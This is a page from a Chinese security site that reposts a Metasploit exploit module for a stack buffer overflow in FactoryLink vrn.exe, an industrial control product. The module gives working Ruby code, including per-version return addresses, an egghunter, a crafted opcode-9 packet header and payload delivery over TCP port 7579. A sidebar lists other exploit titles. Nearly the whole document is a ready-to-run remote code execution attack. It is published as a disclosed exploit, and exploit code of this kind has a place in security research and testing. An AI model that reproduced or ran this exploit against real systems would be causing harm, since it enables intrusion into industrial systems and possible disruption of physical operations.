首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
FactoryLink vrn.exe Opcode 9 Buffer Overflow
来源:http://www.metasploit.com 作者:Luigi 发布时间:2011-06-22  
##
# $Id: factorylink_vrn_09.rb 12996 2011-06-21 18:02:35Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'FactoryLink vrn.exe Opcode 9 Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in FactoryLink 7.5, 7.5 SP2, and 8.0.1.703.
					By sending a specially crafted packet, an attacker may be able to execute arbitrary code. 
					Originally found and posted by Luigi Auriemma.
			},
			'Author'         =>
				[ 
					'Luigi Auriemma', # Public exploit
					'hal'             # Metasploit module
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 12996 
, 'References' => [ ['OSVDB', '72815'], ['URL', 'http://aluigi.altervista.org/adv/factorylink_4-adv.txt'] ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 885, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'FactoryLink 7.5', { 'Ret' => 0x1c0106ac, 'padding' => 0 } ], [ 'FactoryLink 7.5 SP2', { 'Ret' => 0x1c01069c, 'padding' => 0 } ], [ 'FactoryLink 8.0.1.703', { 'Ret' => 0x1c01087c, 'padding' => 4 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 21 2011')) register_options([Opt::RPORT(7579)], self.class) end def exploit connect hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true, :startreg => 'ebp'}) egg = hunter[1] header = "\x3f\x3f\x3f\x3f" header << "\xff\x55" header << "\x09\x00" header << "\x3f\x3f\xff\xff\x00\x00\x3f\x3f" header << "\x01\x00\x3f\x3f\x3f\x3f\x3f\x3f" header << "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f" header << "\x3f\x3f" header << "\xff\xff\xff\xff" header << "\x3f\x3f" request = header request << rand_text_alpha_upper(100) request << egg request << ("C" * target['padding']) request << "\xeb\x06\x90\x90" request << [target.ret].pack('V') request << "C"*24 request << hunter[0] request << rand_text_alpha_upper(100000) print_status("Trying target #{target.name} with #{request.size} bytes") sock.put(request) handler disconnect end end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Black Ice Cover Page ActiveX C
·If-CMS 2.07 Pre-Auth Local Fil
·FactoryLink vrn.exe Opcode 9 B
·Sielco Sistemi Winlog Buffer O
·Linux/SuperH - sh4 - setuid(0)
·RealWin SCADA Server DATAC Log
·SmartFTP Saved Password Extrac
·FreeAmp 2.0.7 .fat Buffer Over
·OpenBSD/x86 Execve ("/bin/sh")
·Linux/SuperH - sh4 - add root
·FreeBSD/x86 Alphanumeric Bomb
·Xilisoft Video-Converter v.5 (
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved